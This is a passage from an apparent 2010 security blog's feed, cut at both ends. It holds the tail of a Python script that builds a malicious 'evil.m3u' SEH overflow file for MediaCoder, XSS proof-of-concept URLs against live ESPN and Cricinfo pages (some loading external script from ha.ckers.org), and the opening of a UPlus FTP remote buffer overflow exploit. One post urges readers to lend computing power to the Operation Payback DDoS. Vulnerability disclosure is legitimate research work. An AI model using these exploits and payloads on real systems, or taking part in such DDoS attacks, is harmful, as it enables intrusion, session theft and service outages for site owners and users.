class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;exploit = junk + nseh + seh + nops + shellcode + more&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;try:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; f = open("evil.m3u",'w')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; f.write(exploit)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; f.close()&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "[+] Generating exploit file..."&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "[+] +++Evil m3u created+++ ^_^\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;except:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "[!] +++Error occured+++ \n"&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Update:&lt;/b&gt; It's on packetstorm now [&amp;nbsp;&lt;a href="http://packetstormsecurity.org/files/view/99350/mcoder-localBufferOverflow.py.txt"&gt;http://packetstormsecurity.org/files/view/99350/mcoder-localBufferOverflow.py.txt&lt;/a&gt; ]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Best Regards.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-7897888421663925821?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/7897888421663925821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/12/mediacoder-v0754796-local-buffer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7897888421663925821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7897888421663925821'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/12/mediacoder-v0754796-local-buffer.html' title='MediaCoder v0.7.5.4796 Local Buffer Overflow [ SEH ]'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-4325455735237880110</id><published>2010-12-09T03:51:00.000+05:30</published><updated>2010-12-09T03:51:11.340+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='DDoS'/><category scheme='http://www.blogger.com/atom/ns#' term='operation payback'/><category scheme='http://www.blogger.com/atom/ns#' term='wikileaks'/><title type='text'>Pro Wikileaks Hacker Groups take action</title><content type='html'>Okay folks. This is probably the most visible conflict being fought in the cyber world right now.&lt;br /&gt;&lt;br /&gt;Several days of DDoS coming back n forth..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Operation Payback is a pro-wikileaks response. It successfully took down mastercard for around 11 hours.&lt;br /&gt;&lt;br /&gt;And now Visa.com has been taken down.&lt;br /&gt;&lt;br /&gt;If you have available resources [ read: computing power ] and would like to volunteer for Wikileaks support, check here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastehtml.com/view/1c8i33u.html"&gt;http://pastehtml.com/view/1c8i33u.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can access Wikileaks here: &lt;a href="http://213.251.145.96/"&gt;http://213.251.145.96/&lt;/a&gt; .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-4325455735237880110?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/4325455735237880110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/12/pro-wikileaks-hacker-groups-take-action.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4325455735237880110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4325455735237880110'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/12/pro-wikileaks-hacker-groups-take-action.html' title='Pro Wikileaks Hacker Groups take action'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-8060512175835912375</id><published>2010-09-12T02:37:00.000+05:30</published><updated>2010-09-12T02:37:24.795+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ESPN Cricinfo Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='ESPN Cricinfo'/><title type='text'>ESPN Cricinfo Cross Site Scripting (XSS)</title><content type='html'>&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;+++About ESPN Cricinfo+++&lt;/b&gt;&lt;br /&gt;http://www.cricinfo.com/&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+++Affected URL(s)+++&lt;/b&gt;&lt;br /&gt;All URLs using vulnerable parameters&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+++Vulnerable Parameters / Functions+++&lt;/b&gt;&lt;br /&gt;genre&lt;br /&gt;object&lt;br /&gt;template&lt;br /&gt;country&lt;br /&gt;author&lt;br /&gt;site_area&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;... and perhaps more!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+++PoC+++&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/talk/content/current/multimedia/feature.html?genre=21'"/&amp;gt;&amp;lt;script&amp;gt;alert("XSS from genre")&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/australia/content/quote/index.html?object=2'"/&amp;gt;&amp;lt;script&amp;gt;alert("XSS from object")&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/australia/content/team/2.html?template=fixtures'"/&amp;gt;&amp;lt;script&amp;gt;alert("XSS from template")&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/australia/content/player/country.html?country=2'"/&amp;gt;&amp;lt;script&amp;gt;alert("XSS from country")&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/magazine/content/story/magazine/author.html?genre=366'"/&amp;gt;&amp;lt;script&amp;gt;alert("XSS from genre")&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/magazine/content/story/magazine/author.html?author=29'"/&amp;gt;&amp;lt;script/XSS/src=http://ha.ckers.org/xss.js&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif; font-size: small;"&gt;http://www.cricinfo.com/magazine/content/current/story/magazine/alltime.html?site_area=5'"/&amp;gt;&amp;lt;script/XSS/src=http://ha.ckers.org/xss.js&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_RGb9AAZeOfs/TIvt6E4jfdI/AAAAAAAAAi4/2cexNDQ5Ucs/s1600/espn_cricinfo_country_XSS_I.JPG" imageanchor="1" linkindex="128" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://1.bp.blogspot.com/_RGb9AAZeOfs/TIvt6E4jfdI/AAAAAAAAAi4/2cexNDQ5Ucs/s640/espn_cricinfo_country_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvt7FY-iFI/AAAAAAAAAjA/dTJ_MuXNzAE/s1600/espn_cricinfo_genre_XSS_I.JPG" imageanchor="1" linkindex="129" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvt7FY-iFI/AAAAAAAAAjA/dTJ_MuXNzAE/s640/espn_cricinfo_genre_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvt9BTqV_I/AAAAAAAAAjI/8zA-brX6mp0/s1600/espn_cricinfo_site_area_XSS_I.JPG" imageanchor="1" linkindex="130" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvt9BTqV_I/AAAAAAAAAjI/8zA-brX6mp0/s640/espn_cricinfo_site_area_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvt-NTJ8FI/AAAAAAAAAjQ/0xp5tHGYkHY/s1600/espn_cricinfo_object_XSS_I.JPG" imageanchor="1" linkindex="131" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="308" src="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvt-NTJ8FI/AAAAAAAAAjQ/0xp5tHGYkHY/s640/espn_cricinfo_object_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvt_UCYJ2I/AAAAAAAAAjY/1PMc4fBmRbA/s1600/espn_cricinfo_template_XSS_I.JPG" imageanchor="1" linkindex="132" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="308" src="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvt_UCYJ2I/AAAAAAAAAjY/1PMc4fBmRbA/s640/espn_cricinfo_template_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvvViSUqwI/AAAAAAAAAjg/GYUHyWDH5b0/s1600/espn_cricinfo_author_XSS_I.JPG" imageanchor="1" linkindex="133" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="310" src="http://4.bp.blogspot.com/_RGb9AAZeOfs/TIvvViSUqwI/AAAAAAAAAjg/GYUHyWDH5b0/s640/espn_cricinfo_author_XSS_I.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ESPN Global Ist Notified:&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; January 2010&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;IInd Notification:&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; September 06, 2010&lt;br /&gt;&lt;b&gt;Response Received:&lt;/b&gt; None&lt;br /&gt;&lt;b&gt;Current Status:&lt;/b&gt; &lt;u&gt;Vulnerable&lt;/u&gt; (As of today, September 12, 2010)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note:&lt;/b&gt; More URLs / parameters may be vulnerable.&lt;br /&gt;&lt;br /&gt;Best Regards.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-8060512175835912375?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/8060512175835912375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/09/espn-cricinfo-cross-site-scripting-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8060512175835912375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8060512175835912375'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/09/espn-cricinfo-cross-site-scripting-xss.html' title='ESPN Cricinfo Cross Site Scripting (XSS)'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RGb9AAZeOfs/TIvt6E4jfdI/AAAAAAAAAi4/2cexNDQ5Ucs/s72-c/espn_cricinfo_country_XSS_I.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-3987075113224756296</id><published>2010-09-12T01:45:00.001+05:30</published><updated>2010-09-12T01:47:11.904+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='ESPN Global Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='ESPN'/><title type='text'>ESPN Global Cross Site Scripting (XSS)</title><content type='html'>&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;+++About ESPN Global+++&lt;/b&gt;&lt;br /&gt;&lt;a href="http://espn.go.com/" linkindex="26"&gt;http://espn.go.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+++Affected URL(s)+++&lt;/b&gt;&lt;br /&gt;&lt;a href="http://boards.espn.go.com/" linkindex="27"&gt;http://boards.espn.go.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+++Vulnerable Parameter / Function+++&lt;/b&gt;&lt;br /&gt;sport&lt;br /&gt;id&lt;br /&gt;nav&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;b&gt;+++PoC+++&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;http://boards.espn.go.com/boards/mb/mb?sport=espn'&amp;gt;&amp;lt;script&amp;gt;alert('XSS from sport')&amp;lt;/script&amp;gt;&amp;amp;id=index'&amp;gt;&amp;lt;script&amp;gt;alert('XSS from id')&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvh-96mdoI/AAAAAAAAAiY/ydKHtmwdTSw/s1600/espn_global_xss1.JPG" imageanchor="1" linkindex="28" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvh-96mdoI/AAAAAAAAAiY/ydKHtmwdTSw/s640/espn_global_xss1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_RGb9AAZeOfs/TIviIOC0xwI/AAAAAAAAAig/nPeoQ2WpIE8/s1600/espn_global_xss2.JPG" imageanchor="1" linkindex="29" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="308" src="http://2.bp.blogspot.com/_RGb9AAZeOfs/TIviIOC0xwI/AAAAAAAAAig/nPeoQ2WpIE8/s640/espn_global_xss2.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIviK5w-tlI/AAAAAAAAAio/bjMeFV795lo/s1600/espn_global_xss3.JPG" imageanchor="1" linkindex="30" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="314" src="http://3.bp.blogspot.com/_RGb9AAZeOfs/TIviK5w-tlI/AAAAAAAAAio/bjMeFV795lo/s640/espn_global_xss3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;b&gt;ESPN Global Ist Notified:&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; January 2010&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;IInd Notification:&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; September 06, 2010&lt;br /&gt;&lt;b&gt;Response Received:&lt;/b&gt; None&lt;br /&gt;&lt;b&gt;Current Status:&lt;/b&gt; &lt;u&gt;Vulnerable&lt;/u&gt; (As of today, September 12, 2010)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Best Regards.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-3987075113224756296?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/3987075113224756296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/09/espn-global-cross-site-scripting-xss.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/3987075113224756296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/3987075113224756296'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/09/espn-global-cross-site-scripting-xss.html' title='ESPN Global Cross Site Scripting (XSS)'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RGb9AAZeOfs/TIvh-96mdoI/AAAAAAAAAiY/ydKHtmwdTSw/s72-c/espn_global_xss1.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-345029316461556310</id><published>2010-07-29T00:35:00.002+05:30</published><updated>2010-07-29T14:54:03.744+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='41414141'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit-db'/><category scheme='http://www.blogger.com/atom/ns#' term='Uplus FTP exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Remote Buffer Overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit Published'/><category scheme='http://www.blogger.com/atom/ns#' term='Code Execution'/><category scheme='http://www.blogger.com/atom/ns#' term='corelan.be'/><title type='text'>UPlus FTP Server v1.7.1.0.1 remote buffer overflow exploit published</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;Hi All,&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Posted another remote code execution exploit on Exploit-db an hour back. It is published now :-)&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;###&lt;/div&gt;&lt;blockquote style="font-family: Verdana,sans-serif;"&gt;&lt;code class="python comments"&gt;#!/usr/bin/python&lt;/code&gt;&lt;br /&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python keyword"&gt;import&lt;/code&gt; &lt;code class="python plain"&gt;socket,sys,base64&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python functions"&gt;print&lt;/code&gt; &lt;code class="python comments"&gt;"""&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;#&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;Discovered by : Karn Ganeshen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;Author : Karn Ganeshen / corelanc0d3r&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;KarnGaneshen [aT] gmail [d0t] com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;http://ipositivesecurity.blogspot.com&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code 